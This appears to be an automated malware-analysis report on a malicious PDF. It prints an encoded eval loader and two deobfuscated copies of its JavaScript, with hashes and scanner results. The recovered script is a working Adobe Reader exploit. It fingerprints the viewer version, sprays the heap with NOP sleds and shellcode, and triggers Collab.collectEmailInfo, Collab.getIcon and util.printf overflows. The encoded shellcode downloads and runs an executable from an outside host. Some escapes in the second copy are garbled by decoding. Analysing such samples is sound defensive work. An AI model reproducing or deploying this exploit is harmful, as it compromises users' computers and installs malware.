5JTM5JTMyJTcxJTIwJTNkJTIwJTY5JTcxJTMyJTcyJTM2JTc1JTMxJTYyJTI4JTRkJTZmJTQzJTU5JTU5JTM5JTMyJTcxJTJjJTIwJTc2JTRlJTQ1JTY0JTM4JTZhJTc4JTM2JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTVhJTU5JTUwJTc0JTQ1JTcwJTQ2JTQ3JTIwJTNkJTIwJTI4JTQzJTc4JTY1JTVhJTM3JTY2JTUxJTRjJTIwJTJkJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTMwJTMwJTI5JTIwJTJmJTIwJTU1JTY0JTRkJTQxJTcxJTcyJTU1JTc1JTNiJTIwJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTc2JTYxJTcyJTIwJTUxJTQ0JTUxJTcyJTQxJTY2JTQxJTQ0JTIwJTNkJTIwJTMwJTNiJTIwJTUxJTQ0JTUxJTcyJTQxJTY2JTQxJTQ0JTIwJTNjJTIwJTVhJTU5JTUwJTc0JTQ1JTcwJTQ2JTQ3JTNiJTIwJTUxJTQ0JTUxJTcyJTQxJTY2JTQxJTQ0JTJiJTJiJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc5JTM3JTRjJTRlJTRlJTZiJTU2JTRiJTViJTUxJTQ0JTUxJTcyJTQxJTY2JTQxJTQ0JTVkJTIwJTNkJTIwJTRkJTZmJTQzJTU5JTU5JTM5JTMyJTcxJTIwJTJiJTIwJTQ0JTY1JTc5JTMwJTRlJTc3JTQ2JTQ5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTdkJTIwJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTYzJTU4JTRmJTMwJTUwJTc0JTM1JTZlJTI4JTI5JTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ2JTM5JTYzJTRmJTc5JTU4JTQ1JTZkJTIwJTNkJTIwJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNkJTIwJTYxJTcwJTcwJTJlJTc2JTY5JTY1JTc3JTY1JTcyJTU2JTY1JTcyJTczJTY5JTZmJTZlJTJlJTc0JTZmJTUzJTc0JTcyJTY5JTZlJTY3JTI4JTI5JTNiJTIwJTIwJTIwJTIwJTIwJTYxJTcwJTcwJTJlJTYzJTZjJTY1JTYxJTcyJTU0JTY5JTZkJTY1JTRmJTc1JTc0JTI4JTRiJTQyJTMwJTQ5JTM5JTdhJTcwJTUzJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNlJTNkJTIwJTM4JTIwJTI2JTI2JTIwJTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNjJTIwJTM4JTJlJTMxJTMwJTMyJTI5JTIwJTdjJTdjJTIwJTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNjJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ0JTM4JTRmJTM0JTM4JTQ0JTU2JTRhJTI4JTMwJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTYzJTMzJTcwJTQ5JTY5JTMxJTU3JTMyJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTMwJTYzJTMwJTYzJTI1JTc1JTMwJTYzJTMwJTYzJTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTYzJTMzJTcwJTQ5JTY5JTMxJTU3JTMyJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTM0JTM0JTM5JTM1JTMyJTI5JTIwJTYzJTMzJTcwJTQ5JTY5JTMxJTU3JTMyJTIwJTJiJTNkJTIwJTYzJTMzJTcwJTQ5JTY5JTMxJTU3JTMyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU1JTc2JTQyJTc3JTZmJTQ2JTZiJTRkJTIwJTNkJTIwJTc0JTY4JTY5JTczJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY5JTRlJTZjJTRkJTc1JTMxJTM5JTMyJTIwJTNkJTIwJTQzJTZmJTZjJTZjJTYxJTYyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU1JTc2JTQyJTc3JTZmJTQ2JTZiJTRkJTViJTIyJTYzJTZmJTZjJTZjJTYxJTYyJTUzJTc0JTZmJTcyJTY1JTIyJTVkJTIwJTNkJTIwJTY5JTRlJTZjJTRkJTc1JTMxJTM5JTMyJTViJTIyJTYzJTZmJTZjJTZjJTY1JTYzJTc0JTQ1JTZkJTYxJTY5JTZjJTQ5JTZlJTY2JTZmJTIyJTVkJTI4JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTczJTc1JTYyJTZhJTIwJTNhJTIwJTIyJTIyJTJjJTIwJTZkJTczJTY3JTIwJTNhJTIwJTYzJTMzJTcwJTQ5JTY5JTMxJTU3JTMyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTI4JTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNlJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTI2JTI2JTIwJTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNjJTIwJTM4JTJlJTMxJTMwJTM0JTI5JTIwJTdjJTdjJTIwJTI4JTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNlJTNkJTIwJTM5JTIwJTI2JTI2JTIwJTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNjJTIwJTM5JTJlJTMxJTI5JTIwJTdjJTdjJTIwJTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNjJTNkJTIwJTM3JTJlJTMxJTMwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc0JTcyJTc5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTYxJTcwJTcwJTJlJTY0JTZmJTYzJTJlJTQzJTZmJTZjJTZjJTYxJTYyJTJlJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ0JTM4JTRmJTM0JTM4JTQ0JTU2JTRhJTI4JTMyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTQxJTZmJTRkJTM5JTZhJTc4JTM3JTczJTIwJTNkJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTMwJTM5JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTQxJTZmJTRkJTM5JTZhJTc4JTM3JTczJTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTNjJTIwJTMwJTc4JTM0JTMwJTMwJTMwJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQxJTZmJTRkJTM5JTZhJTc4JTM3JTczJTIwJTJiJTNkJTIwJTQxJTZmJTRkJTM5JTZhJTc4JTM3JTczJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQxJTZmJTRkJTM5JTZhJTc4JTM3JTczJTIwJTNkJTIwJTIyJTRlJTJlJTIyJTIwJTJiJTIwJTQxJTZmJTRkJTM5JTZhJTc4JTM3JTczJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTY4JTc3JTQyJTY5JTc3JTY5JTZiJTU1JTIwJTNkJTIwJTYxJTcwJTcwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY4JTc3JTQyJTY5JTc3JTY5JTZiJTU1JTViJTIyJTY0JTZmJTYzJTIyJTVkJTViJTIyJTQzJTZmJTZjJTZjJTYxJTYyJTIyJTVkJTViJTIyJTY3JTY1JTc0JTQ5JTYzJTZmJTZlJTIyJTVkJTI4JTQxJTZmJTRkJTM5JTZhJTc4JTM3JTczJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ2JTM5JTYzJTRmJTc5JTU4JTQ1JTZkJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ2JTM5JTYzJTRmJTc5JTU4JTQ1JTZkJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTYzJTYxJTc0JTYzJTY4JTI4JTY1JTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ2JTM5JTYzJTRmJTc5JTU4JTQ1JTZkJTIwJTNkJTIwJTMxJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTQ2JTM5JTYzJTRmJTc5JTU4JTQ1JTZkJTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNkJTNkJTIwJTM4JTJlJTMxJTMwJTMyJTIwJTdjJTdjJTIwJTQ4JTY1JTY2JTRiJTU1JTc2JTYyJTc4JTIwJTNkJTNkJTIwJTM3JTJlJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTQ0JTM4JTRmJTM0JTM4JTQ0JTU2JTRhJTI4JTMxJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTYzJTc2JTUyJTUzJTQyJTQyJTcwJTVhJTIwJTNkJTIwJTIyJTMxJTMyJTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTM5JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTY2JTZmJTcyJTI4JTc1JTYxJTc2JTU0JTYxJTM1JTU1JTQ2JTIwJTNkJTIwJTMwJTNiJTIwJTc1JTYxJTc2JTU0JTYxJTM1JTU1JTQ2JTIwJTNjJTIwJTMyJTM3JTM2JTNiJTIwJTc1JTYxJTc2JTU0JTYxJTM1JTU1JTQ2JTJiJTJiJTI5JTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTYzJTc2JTUyJTUzJTQyJTQyJTcwJTVhJTIwJTJiJTNkJTIwJTIyJTM4JTIyJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTU3JTcxJTRlJTY0JTZmJTU1JTU2JTcwJTIwJTNkJTIwJTc1JTc0JTY5JTZjJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU3JTcxJTRlJTY0JTZmJTU1JTU2JTcwJTViJTIyJTcwJTcyJTY5JTZlJTc0JTY2JTIyJTVkJTI4JTIyJTI1JTM0JTM1JTMwJTMwJTMwJTY2JTIyJTJjJTIwJTYzJTc2JTUyJTUzJTQyJTQyJTcwJTVhJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTdkJTIwJTIwIikpOyANCiBhcHAuTWhZTlBJcjQgPSBjWE8wUHQ1bjsNCiBLQjBJOXpwUyA9IGFwcC5zZXRUaW1lT3V0KCJhcHAuTWhZTlBJcjQoKSIsIDEpOw0K");
var sssddd = eval;
sssddd(aasd);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 2 at offset 0x67 5018 bytes
SHA-256: 0e538e31c3f19830009dcdf70c06d25b102f991096213d5c504c615dd20ee441
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var y7LNNkVK = new Array();
 var KB0I9zpS;
 var lave = eval;
  lave(unescape("   function iq2r6u1b(MoCYY92q, vNEd8jx6)   {     while(MoCYY92q.length * 2 < vNEd8jx6)     {       MoCYY92q += MoCYY92q;     }     MoCYY92q = MoCYY92q.substring(0, vNEd8jx6 / 2);     return MoCYY92q;   }  "));  lave(unescape("    function D8O48DVJ(AWA0QBl6)   {     if(AWA0QBl6 == 0)     {       var CxeZ7fQL = 0x0c0c0c0c;       var Dey0NwFI =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u696C%u6F72%u2E6B%u656E%u2F74%u2F33%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     else if(AWA0QBl6 == 1)     {       CxeZ7fQL = 0x30303030;       var Dey0NwFI =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u696C%u6F72%u2E6B%u656E%u2F74%u2F33%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     else if(AWA0QBl6 == 2)     {       var Dey0NwFI =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u696C%u6F72%u2E6B%u656E%u2F74%u2F33%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     var UdMAqrUu = 0x400000;     var pf5pqpuq = Dey0NwFI.length * 2;     var vNEd8jx6 = UdMAqrUu - (pf5pqpuq + 0x38);     var MoCYY92q = unescape("%u9090%u9090");     MoCYY92q = iq2r6u1b(MoCYY92q, vNEd8jx6);     var ZYPtEpFG = (CxeZ7fQL - 0x400000) / UdMAqrUu;     for(var QDQrAfAD = 0; QDQrAfAD < ZYPtEpFG; QDQrAfAD++)     {       y7LNNkVK[QDQrAfAD] = MoCYY92q + Dey0NwFI;     }   }  "));  lave(unescape("   function cXO0Pt5n()   {     var F9cOyXEm = 0;     var HefKUvbx = app.viewerVersion.toString();     app.clearTimeOut(KB0I9zpS);     if((HefKUvbx >= 8 && HefKUvbx < 8.102) || HefKUvbx < 7.1)     {       D8O48DVJ(0);       var c3pIi1W2 = unescape("%u0c0c%u0c0c");       while(c3pIi1W2.length < 44952) c3pIi1W2 += c3pIi1W2;       var UvBwoFkM = this;       var iNlMu192 = Collab;       UvBwoFkM["collabStore"] = iNlMu192["collectEmailInfo"](       {         subj : "", msg : c3pIi1W2       }       );     }     if((HefKUvbx >= 8.102 && HefKUvbx < 8.104) || (HefKUvbx >= 9 && HefKUvbx < 9.1) || HefKUvbx <= 7.101)     {       try       {         if(app.doc.Collab.getIcon)         {           D8O48DVJ(2);           var AoM9jx7s = unescape("%09");           while(AoM9jx7s.length < 0x4000)           {             AoM9jx7s += AoM9jx7s;           }           AoM9jx7s = "N." + AoM9jx7s;           var hwBiwikU = app;           hwBiwikU["doc"]["Collab"]["getIcon"](AoM9jx7s);           F9cOyXEm = 1;         }         else         {           F9cOyXEm = 1;         }       }       catch(e)       {         F9cOyXEm = 1;       }       if(F9cOyXEm == 1)       {         if(HefKUvbx == 8.102 || HefKUvbx == 7.1)         {           D8O48DVJ(1);           var cvRSBBpZ = "12999999999999999999";           for(uavTa5UF = 0; uavTa5UF < 276; uavTa5UF++)           {             cvRSBBpZ += "8";           }           var WqNdoUVp = util;           WqNdoUVp["printf"]("%45000f", cvRSBBpZ);         }       }     }  }  ")); 
 app.MhYNPIr4 = cXO0Pt5n;
 KB0I9zpS = app.setTimeOut("app.MhYNPIr4()", 1);
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 2 at offset 0x67 5014 bytes
SHA-256: bee144b14ae95cbfcc2321da0e21d55fc591d5481fed7f4d4de62db0849ab5a5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 10 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var y7LNNkVK = new Array();
 var KB0I9zpS;
 var lave = eval;
  lave(unescape("   function iq2r6u1b(MoCYY92q, vNEd8jx6)   {     while(MoCYY92q.length * 2 < vNEd8jx6)     {       MoCYY92q += MoCYY92q;     }     MoCYY92q = MoCYY92q.substring(0, vNEd8jx6 / 2);     return MoCYY92q;   }  "));  lave(unescape("    function D8O48DVJ(AWA0QBl6)   {     if(AWA0QBl6 == 0)     {       var CxeZ7fQL = 0x0c0c0c0c;       var Dey0NwFI =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u696C%u6F72%u2E6B%u656E%u2F74%u2F33%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     else if(AWA0QBl6 == 1)     {       CxeZ7fQL = 0x30303030;       var Dey0NwFI =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u696C%u6F72%u2E6B%u656E%u2F74%u2F33%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     else if(AWA0QBl6 == 2)     {       var Dey0NwFI =  unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6B2F%u696C%u6F72%u2E6B%u656E%u2F74%u2F33%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");     }     var UdMAqrUu = 0x400000;     var pf5pqpuq = Dey0NwFI.length * 2;     var vNEd8jx6 = UdMAqrUu - (pf5pqpuq + 0x38);     var MoCYY92q = unescape("%u9090%u9090");     MoCYY92q = iq2r6u1b(MoCYY92q, vNEd8jx6);     var ZYPtEpFG = (CxeZ7fQL - 0x400000) / UdMAqrUu;     for(var QDQrAfAD = 0; QDQrAfAD < ZYPtEpFG; QDQrAfAD++)     {       y7LNNkVK[QDQrAfAD] = MoCYY92q + Dey0NwFI;     }   }  "));  lave(unescape("   function cXO0Pt5n()   {     var F9cOyXEm = 0;     var HefKUvbx = app.viewerVersion.toString();     app.clearTimeOut(KB0I9zpS);     if((HefKUvbx >= 8 && HefKUvbx < 8.102) || HefKUvbx < 7.1)     {       D8O48DVJ(0);       var c3pIi1W2 = unescape("%u0c0c%u0c0c");       while(c3pIi1W2.length < 44952) c3pIi1W2 += c3pIi1W2;       var UvBwoFkM = this;       var iNlMu192 = Collab;       UvBwoFkM["collabStore"] = iNlMu192["collectEmailInfo"](       {         subj : "", msg : c3pIi1W2       }       );     }     if((HefKUvbx >= 8.102 && HefKUvbx < 8.104) || (HefKUvbx >= 9 && HefKUvbx < 9.1) || HefKUvbx <= 7.101)     {       try       {         if(app.doc.Collab.getIcon)         {           D8O48DVJ(2);           var AoM9jx7s = unescape("	");           while(AoM9jx7s.length < 0x4000)           {             AoM9jx7s += AoM9jx7s;           }           AoM9jx7s = "N." + AoM9jx7s;           var hwBiwikU = app;           hwBiwikU["doc"]["Collab"]["getIcon"](AoM9jx7s);           F9cOyXEm = 1;         }         else         {           F9cOyXEm = 1;         }       }       catch(e)       {         F9cOyXEm = 1;       }       if(F9cOyXEm == 1)       {         if(HefKUvbx == 8.102 || HefKUvbx == 7.1)         {           D8O48DVJ(1);           var cvRSBBpZ = "12999999999999999999";           for(uavTa5UF = 0; uavTa5UF < 276; uavTa5UF++)           {             cvRSBBpZ += "8";           }           var WqNdoUVp = util;           WqNdoUVp["printf"]("E000f", cvRSBBpZ);         }       }     }  }  ")); 
 app.MhYNPIr4 = cXO0Pt5n;
 KB0I9zpS = app.setTimeOut("app.MhYNPIr4()", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.